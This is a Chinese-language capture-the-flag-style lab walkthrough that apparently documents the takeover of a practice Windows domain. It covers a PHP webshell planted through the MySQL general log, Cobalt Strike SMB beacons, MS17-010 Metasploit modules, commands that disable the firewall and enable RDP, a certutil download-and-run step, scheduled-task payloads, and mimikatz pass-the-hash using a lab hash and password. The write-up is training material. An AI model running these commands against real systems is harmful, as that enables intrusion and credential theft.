<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰打靶 - 巧用smb拿下不出網主機

    VSole2022-05-14 06:53:17

    0x01 前言

    之前在打一個域環境的時候出現了域內主機不出網的情況,當時用的是cs的socks代理將不出網主機的流量代理到了邊緣主機上。當時沒有考慮太多,下來之后想到搭一個環境復現一下當時的情況,看有沒有更簡便的方法能夠打下不出網的主機。

    機緣巧合之下,發現了這個域環境還不錯,再復現的過程中也有一些知識觸及了我的知識盲區,也收獲了許多新的知識。特地把過程記錄下來,與想要學習打域內不出網主機的師傅們共同分享。

    0x02 靶場地址分配

    內網網段:192.168.52.0/24

    外網網段:192.168.10.0/24

    攻擊機:

    kali:192.168.10.11

    靶場:

    win7(內):192.168.52.143

    win7(外):192.168.10.15

    域內主機:

    Winserver2003:192.168.52.141

    Winserver2008:192.168.52.138

    其中win7可以外網、內網通信,域內主機只能內網之間進行通信

    一開始DCping不通win7,win7關閉防火墻之后可以ping通

    打開C盤下的phpstudy目錄打開web服務

    0x03 web服務器滲透

    nmap探測端口

    nmap -sS -P0 -sV -O 192.168.10.15
    

    開了80端口,嘗試訪問web地址,發現為php探針

    滑到最底部,發現網站底部有一個MySQL數據庫連接檢測

    弱口令root/root連接成功

    掃描后臺

    我這里用的是御劍,但是好像很拉,因為在我打完這個靶場之后再去網上看的時候發現他們很多掃出來一個cms,通過cms也能拿shell,這里我就不演示怎么用cms弱口令進后臺寫shell了,如果有感興趣的小伙伴可以自行搜索一下

    發現phpmyadmin目錄,還是root/root弱口令登陸成功

    進入后界面如下所示

    通過phpmyadmin寫shell

    通過phpmyadmin寫shell有兩種方式,首先我嘗試select into outfile直接寫入,但是他這里secure_file_priv的值為NULL,所以無法提權

    只能使用另外一種方法,用全局日志寫shell


    SHOW VARIABLES LIKE '%general%'
    


    查看配置,可以看到全局日志是處于關閉的狀態,gengeral_log_file返回了日志的絕對地址

    那這里我先把它的全局日志打開,再往它路徑里面寫入一個一句話木馬


    set global general_log = on;
    

    開啟全局日志后修改絕對路徑,注意這里有一個坑,日志給我們返回的路徑是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql訪問的絕對地址為C:\\phpStudy\\WWW目錄下的文件,所以這個地方寫shell必須要寫到WWW目錄下才能夠用蟻劍連接上


    set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
    

    這里再寫入一句話木馬


    select ' eval($_POST[cmd]);?>'
    

    然后再上蟻劍連接即可

    可以看到連接成功

    0x04 內網信息搜集

    查看下系統的權限,一上來就是administrator權限就很舒服

    ipconfig /all查看網絡信息,域環境+雙網卡

    tasklist /svc粗略看了一下,似乎是沒有殺軟的

    想著沒有殺軟,那么直接用最簡單粗暴的上cs更省心,上傳一個cs生成的木馬exe到目標主機上

    用計劃任務上線cs

    成功上線

    0x05 內網滲透

    信息搜集

    net view查看域信息

    使用cs自帶的端口掃描掃一波主機

    掃出來所有的主機如下

    hashdump抓一波hash

    logonpasswords抓一波明文

    所有憑證如下,打碼的原因是因為之前登陸的時候密碼要重置,弄了一個帶有個人信息的密碼

    思路

    這里我測試了一下,因為目標主機沒有開啟防火墻,是能夠通過cs自帶的psexec一波橫向抓域控和域內機器密碼的,但是鑒于這個win7雙網卡且域內另外主機不出網的情況,練習一下如何打不出網的主機

    不出網機器上線一般有以下幾種方式:

    • 使用smb beacon
    • 配置listener通過HTTP代理上線
    • 使用pystinger搭建socks4代理

    這里我使用SMB beacon這個方法

    SMB

    Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務并發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB beacon相對隱蔽。SMB beacon不能直接生成可用載荷, 只能使用 PsExec 或 Stageless Payload上線

    首先得到內網中一臺主機的beacon,抓取密碼后進行smb噴射,得到另一臺開放445端口的機器上的administrator賬戶密碼,在目標機器不出網的情況下,可以使用Smb beacon使目標主機上線

    1.使用條件

    • 具有 SMB Beacon 的主機必須接受 445 端口上的連接。
    • 只能鏈接由同一個 Cobalt Strike 實例管理的 Beacon。
    • 利用這種beacon橫移必須有目標主機的管理員權限或者說是擁有具有管理員權限的憑據。

    2.使用方法

    (1) 建立smb listener

    (2) 在cs中使用psexec進行橫向移動,選擇現有的beacon作為跳板,這里憑據必須是administrator,即擁有目標主機管理員權限

    (3) 連接成功,可以看到smb beacon上線的主機右側有∞∞標識

    使用這種方法上線的機器,主要是通過出網機作為一個中間人,不出網主機成功上線后,如果出網機一斷開,這個不出網主機也會斷

    0x06 內網橫向滲透

    思路

    Ladon掃一波內網的永恒之藍,發現這幾臺主機都存在MS17-010

    ms17010常見的幾種打法:

    • msf
    • ladon/ladon_ms17010
    • 從msf分離出的exe
    • nessus里的exe
    • cs插件


    這幾種打法,我在這個環境中都做過嘗試。過程就不一一敘述了,直接說我測試的結果

    msf是最穩定的,但是打起來有稍許的麻煩因為要設置監聽模塊和選擇攻擊模塊等配置。ladon_ms17010方便但是不太穩有時候會打不成功。cs插件也不穩,并且在這種不出網網絡不穩定的情況下成功率會變的更低

    在這種不出網的情況下,可以優先考慮使用從msf分離出的exe和ladon_ms17010來打,打成功會直接通過自定義的dll新建一個用戶并加入管理員組,開啟3389端口,而且還會留一個粘滯鍵后門

    根據實際情況,可考慮在合適的時間段和條件下直接遠程登入,翻一下敏感數據,往往會因為運維人員的很多“好習慣”而給滲透帶來很多便利,比如說“密碼本.txt”

    cs派生msf會話

    msf設置監聽端口

    cs新建端口建立對話

    運行拿到meterpreter

    ms_17_010獲取域控權限

    這里因為知道了DC是有ms_17_010這個漏洞的,所以我先嘗試了用永恒之藍打一波,使用如下模塊


    exploit/windows/smb/ms17_010_eternalblue
    

    運行之后發現exp已經打過去了但是沒有session建立

    再換個ms17010的模塊


    use exploit/windows/smb/ms17_010_psexec
    set payload windows/meterpreter/bind_tcp
    

    同樣沒有拿到shell,當時沒有細想,后來我考慮到可能是win7處于兩個網段的原因,所以用永恒之藍直接打是拿不到shell的

    msf打不出網機器的ms_17_010

    想到之前拿到了win7的meterpreter,所以用添加路由的方式嘗試一下。

    msf在單兵作戰的時候還是很穩定很香的。win7在msf上線后,因為我們已經提前知道了,存在52這個不出網的段,那么就需要在msf中添加路由

    1.查看路由

    run get_local_subnets
    

    2.添加路由

    run autoroute -s 192.168.52.0/24
    

    3.查看添加的路由

    run autoroute -p
    

    4.開始攻擊

    把shell切換到后臺,再運用ms17_010_eternalblue模塊

    這次能夠成功建立連接

    ms_17_010模塊總結

    漏洞檢測方法:

    設置一下目標ip和線程即可,這里因為已經掃出存在漏洞的機器了,所以就沒有進行漏洞檢測。

    use auxiliary/scanner/smb/smb_ms17_010
    

    漏洞利用常使用的是:

    這里的第一個和第三個模塊需要目標開啟命名管道,并且比較穩定。第二個模塊只要存在漏洞即可,但是會有概率把目標打藍屏,而且殺軟攔截也會比較嚴格,如果有殺軟就基本可以放棄這個模塊了。


    auxiliary/admin/smb/ms17_010_command
    exploit/windows/smb/ms17_010_eternalblue
    exploit/windows/smb/ms17_010_psexec
    

    在打ms17010的時候,不妨使用auxiliary/admin/smb/ms17_010_command模塊探測一下是否可以使用命名管道。


    use auxiliary/admin/smb/ms17_010_command
    set rhosts 192.168.164.156 192.168.164.161
    set command tasklist
    show options
    run
    

    如果命令執行成功的話就可以優先考慮這兩個模塊進行利用


    auxiliary/admin/smb/ms17_010_command
    exploit/windows/smb/ms17_010_psexec
    

    WMI獲取域控服務器

    因為之前用了兩個ms_17_010的模塊都沒有打成功,而session放在后臺是后面才想到的打法,在當時模塊沒有打成功的情況下我決定另辟蹊徑

    首先我打開3389端口并關閉防火墻進到win7的遠程桌面

    注冊表開啟3389端口

    REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    關閉防火墻

    #windows server 2003之前
    netsh firewall set opmode disable 
    #windows server 2003之后
    netsh advfirewall set allprofiles state off
    

    這個時候防火墻是開啟,關閉防火墻,使用域用戶god\\administrator/hongrisec@2020成功登錄這一臺win7WEB主機

    上傳vmiexec.vbs到192.168.52.143(win7)機器上,然后執行


    cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
    

    因為我用vbs幾次都沒有回顯,所以我這里使用的Ladon.exe,執行


    Ladon.exe wmiexec 192.168.52.138 administrator hongrisec@2020 whoami
    

    同上面的過程一樣,獲取一個正向的msf連接,過程如下:

    首先生成一個正向的exe文件放到win7的網站目錄上

    在win7上看一下,上傳成功

    在win7上使用WMI執行命令


    certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
    

    成功執行,這時候在138機器(即DC-win2008)上開啟6666端口監聽

    在msf上個運行blin_tcp來獲取回話

    成功獲取域控權限,后續提權

    使用CVE-2018-8120提權,成功提到系統權限,這里我思考了一下用MS14-068應該也能夠提權成功

    成功提權,上免殺mimikatz,成功抓到hash

    票據加計劃任務獲取DC

    這里先用msf的命令生成正向的馬 yukong.exe

    windows/reverse_bind_tcp LHOST=192.168.10.11 LPORT=7777
    

    把馬復制到域控機器上


    shell copy C:\\yukong.exe \\192.168.52.138\\c$
    

    然后再用這個寫入計劃任務的方法去連接,這里馬反彈會連不成功,所以使用如下命令


    shell schtasks /create /tn "test" /tr C:\\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
    

    掛著win7代理


    proxy nc -vv 192.168.52.138 7777
    

    即可彈回DC的shell,然后清除計劃任務


    schtasks /delete /s 192.168.52.138 /tn "test" /f
    

    使用mimikatz進行hash傳遞


    mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
    

    查看DC的目錄


    shell dir \\192.168.52.138\\c$ //dir
    

    0x07 后記

    當然最后獲取域控權限的方法還有很多,如pth攻擊、橫向哈希傳遞、redis等等,而其中一些地方我用的方法也不是唯一方法,如通過掃描目錄發現cms進入后臺寫shell,用代理將win7流量轉出來的方法,都很值得學習。

    通過這個靶場不僅鍛煉了一些看過但是實戰中不知道怎么使用的方法,也提升了自己獨立解決問題的能力,也學到了很多新知識,如通過phpmyadmin寫shell等等,用前輩說的話就是:低調求發展,潛心習安全。

    beaconmsf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CobaltStrike與MSF聯動
    2021-11-18 07:52:49
    CobalStrike更適合做個穩控平臺,輕型的遠控工具,內置Windows系統類模塊較多,Metasploit更擅長各類內網搜集和漏洞利用,包含多類型操作系統模塊,但是使用起來“比較笨重”。
    如果成功連接到管道, 使用WriteFile函數將shellcode數據寫入已連接的命名管道。使用IDA分析檢查導出函數:第一個是反射式DLL注入,限于篇幅,在本篇中不展開分析第二個是DLL的入口函數。在后續的文章中,會根據檢測特征和csprofile的繞過按照專題進行分析。同時,大部分的CS檢測特征都是在此。而在后續的文章分析中,將會著重的分析CS beacon中使用到的幾種DLL注入方式;beacon config的檢測;同時結合CS profile 的配置,研究一下CS的對抗檢測方式。
    SMB Beacon 與命名管道在 Windows 中,無管理員權限的情況下,即無法添加白名單。定義特定版本的協議的消息數據包集稱為方言。進行身份驗證后,用戶可以訪問服務器上不受共享級別安全性保護的所有共享。
    然后設置host,port以及要傳回去的session我們可以看到CS上返回了一個system權限的shell這個時候我們就可以愉快的使用mimikatz等工具來把administrator的密碼偷來但是有的機器改了RDP服務的端口怎么辦呢,我們可以用cs的進程管理,找到rdp服務的PID,然后在beacon中輸入powershell?
    2021年5月13日:c++ shellcode啟動器,截至2021年5月13日,0/26完全未被檢測到。在KaliLinux上,只需'apt-get install mingw-w64*'就可以了!使用git clone存儲庫,生成命名為beacon.bin的shellcode文件,然后運行charlotte.py注:使用msfvenom -p測試以及CobaltStrike原始格式Payload!
    WebServer特征本文簡單介紹了Cobalt Stike 4.4版本的一些特征以及緩解措施。webser
    但其實 Jboss 的這個路徑可以查看到日志
    前言 CobalStrike 與 Metasploit 均是滲透利器,各有所長。前者更適合做穩控平臺,后者則更擅長內網各類探測搜集與漏洞利用。 兩者更需要靈活的聯動,各自相互依托,從而提升滲透的效率。 內置Socks功能 通過Beacon內置的socks功能在VPS上開啟代理端口,打通目標內網通道,之后將本地Metasploit直接帶入目標內網,進行橫向滲透。 當然,也可以把代理設置在其他的
    https://www.freebuf.com/sectool/389399.html
    #默認情況下,payload_inject執行之后會在本地產生一個新的handler,由于已經有了一個不需要再產生一個,所以這里設置為true. #這里是當前獲得的session的id. 可以看到 cs 成功接收到 shell右鍵 Interact 調出 beacon 界面,net view 查看當前域中計算機列表,然后執行 shell 命令前面加上 shell 就可以了,例如 shell ipconfig四、制作木馬首先創建監聽器用于木馬回連,Host 為 cs 服務端的 ipAttacks->Packages->Windows Executable?需要派生的目標右擊選擇Spawn,然后創建一個?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类